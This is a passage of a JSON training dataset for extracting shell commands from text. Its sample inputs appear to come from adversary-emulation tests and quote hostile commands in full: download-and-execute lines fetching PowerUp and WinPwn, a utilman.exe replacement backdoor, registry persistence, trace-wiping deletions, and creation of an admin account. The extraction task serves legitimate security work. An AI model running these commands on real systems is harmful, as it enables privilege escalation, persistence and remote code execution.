\"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To replace utilman.exe with cmd.exe and gain an elevated command prompt via the Ease of Access button, use the following command:\nIF NOT EXIST C:\\Windows\\System32\\utilman_backup.exe (copy C:\\Windows\\System32\\utilman.exe C:\\Windows\\System32\\utilman_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\utilman.exe /A\nicacls C:\\Windows\\System32\\utilman.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\utilman.exe\n",
    "output": "{\"command_list\": [\"IF NOT EXIST C:\\\\Windows\\\\System32\\\\utilman_backup.exe (copy C:\\\\Windows\\\\System32\\\\utilman.exe C:\\\\Windows\\\\System32\\\\utilman_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\utilman.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\utilman.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\utilman.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The `at` daemon can run commands at a specified time, which can be set up with this instruction: echo \"#{at_command}\" | at #{time_spec}",
    "output": "{\"command_list\": [\"echo \\\"#{at_command}\\\" | at #{time_spec}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary might maintain persistence by creating or altering runbooks, which can be identified with this command: New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}\n",
    "output": "{\"command_list\": [\"New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Windows RDP client stores connection details which can be removed by executing these registry commands: reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\" /va /f\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\" /f\n",
    "output": "{\"command_list\": [\"reg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\" /va /f\\nreg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate remote access policies through group policy, use the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nGPORemoteAccessPolicy -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nGPORemoteAccessPolicy -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To abuse Windows Telemetry for persistence, you can configure it to run arbitrary commands by modifying the registry with this command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\#{new_key}\" /t REG_SZ /v Command /d #{new_executable} /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\TelemetryController\\\\#{new_key}\\\" /t REG_SZ /v Command /d #{new_executable} /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Once executed, the new account will become active and join the Administrators group by running the following command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin",
    "output": "{\"command_list\": [\"sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The mail data can be copied and then deleted by executing this command: mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \"$(basename \"$file\")\" != \"copy\" ]; then cp -R \"$file\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\n",
    "output": "{\"command_list\": [\"mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \\\"$(basename \\\"$file\\\")\\\" != \\\"copy\\\" ]; then cp -R \\\"$file\\\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: 